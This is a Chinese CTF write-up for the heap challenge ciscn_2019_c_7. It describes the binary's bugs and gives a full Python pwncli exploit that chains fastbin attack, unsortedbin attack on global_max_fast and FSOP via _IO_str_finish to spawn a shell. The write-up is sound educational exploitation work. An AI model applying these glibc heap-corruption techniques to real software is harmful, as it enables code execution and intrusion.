ciscn_2019_c_7

总结

主要是限制了UAFchunk的大小为0x20,并且限制了add的次数,就很难受,并且题目用的还是calloc,没有使用tcache。最后还是使用fastbin attack+unsortedbin attack + FSOP获取到的shell

  • fastbin attack用于修改chunk size
  • unsortedbin attack用于修改fast_global_max
  • FSOP利用IO_str_finishshell

题目分析

checksec

image-20210905163450354

题目分析

结构体

逆向分析出Servent的结构体如下:

1
2
3
4
5
struct Servent
{
  char *name;
  uint64_t aggressivity; // 攻击力
};

漏洞点

漏洞1recruite中的size可以为负数,下面做减法就会得到一个很大的正数,这样先把money搞到很大

image-20210905163700580

漏洞2expel分支

image-20210905163812863

漏洞3:可以任意地址置为0,这个漏洞我没用到。但是隐约猜到了用处。

image-20210905163948660

别的漏洞就没看到了。

利用过程

  • 利用漏洞1money搞到很大
  • 利用漏洞2,修改某个chunksize,泄露出堆和libc地址
  • 还是利用漏洞2,进行unsortedbin attack,打global_max_fast
  • 释放一个很大的chunk,刚好覆盖掉_IO_list_all
  • 利用FSOPshell

Exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']


def recruite(size:(tuple, list), name:(tuple, list)):
    p.sendlineafter("Give me your choice:\n", "1")
    p.sendlineafter("How many servents do you want to rescruit?\n", str(len(size)))
    for i in range(len(size)):
        p.sendlineafter("Input the name's size of this servent:\n", str(size[i]))
        p.sendafter("Input the name of this servent:\n", name[i])


def expel(idx:int):
    p.sendlineafter("Give me your choice:\n", "2")
    p.sendlineafter("Tell me his index number:\n", str(idx))
    p.recvuntil("Ok, I'll kill ")
    msg = p.recvline()
    info("msg recv: {}".format(msg))
    return msg


def buy_weapon(weapon_type:int):
    p.sendlineafter("Give me your choice:\n", "3")
    p.sendlineafter("2.Excalibur      --90000yuan\n", str(weapon_type))


def attack_boss(use_big_weapon='n'):
    p.sendlineafter("Give me your choice:\n", "4")
    msg = p.recvline()
    if  b"Do you want to use excalibur?" in msg:
        p.sendline(use_big_weapon)

# 搞钱
p.sendlineafter("How much money do you want?\n", "-1")
p.sendlineafter("Give me your choice:\n", "1")
p.sendlineafter("How many servents do you want to rescruit?\n", str(-10000))

buy_weapon(2)

# 为堆风水布局
recruite([0x18, 0x18, 0x18, 0x2000], [flat(0, 0x21), flat(0, 0x21), flat(0, 0x21), flat({0x400:[[0, 0x21, 0, 0] * 2], 0x1410:[[0, 0x21, 0, 0] * 2]})])

expel(1)
expel(1)

# 泄露堆地址 
leak_addr = expel(1)

heap_base_addr = u64(leak_addr[:6].ljust(8, b"\x00")) - 0x2a0

log_address("heap_base_addr", heap_base_addr)

# fastbin attack
for _ in range(5):
    expel(1)

expel(0)
expel(1)
expel(0)

recruite([0x18], [flat([0, 0x21, heap_base_addr + 0x280], length=0x18)])

# change size
recruite([0x40, 0x18], ["a", flat(0, 0x71)])

for i in range(8):
    expel(1)

# 改完size后得到一个大的chunk,释放它
expel(0)

recruite([0x60], [flat({0:heap_base_addr + 0x2e0, 0x30: [0, 0x471]})])

expel(2)

# 泄露libc地址
leak_addr = expel(1)
libc_base_addr = u64(leak_addr[:6].ljust(8, b"\x00")) - 0x3ebca0
log_address("libc_base_addr", libc_base_addr)

libc.address = libc_base_addr

expel(0)

# unsortedbin attack
global_max_fast_offset = 0x3ed940
recruite([0x60], [flat({0x30:[0, 0x471, 0, libc_base_addr + global_max_fast_offset - 0x10]}, filler="\x00")])

expel(0)

str_jumps_offset = 0x3e8360
lock_offset = 0x3ed8c0
bin_sh_offset = 0x1b3e9a

payload = flat({
    0x30: [0, 0x1441],
    0x30+0x80: 0,
    0x30+0x88: libc_base_addr + lock_offset, # lock
    0x30+0xc0: 0,
    0x30+0x28: 0xffffffffffffff, # write_ptr
    0x30+0xd8: libc_base_addr + str_jumps_offset - 8, # IO_str_jumps
    0x30+0x38: libc_base_addr + bin_sh_offset, # /bin/sh
    0x30+0xe8: libc.sym['system']
}, filler="\x00")

recruite([0x460], [payload])

# 覆盖掉_IO_list_all
expel(3)

# 执行exit
attack_boss()

p.interactive()

构造大的chunk

image-20210905164720758

unsortedbin attack:

image-20210905164816865

覆盖掉_IO_list_all

image-20210905165000433

最后拿到shell

image-20210905183820599

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%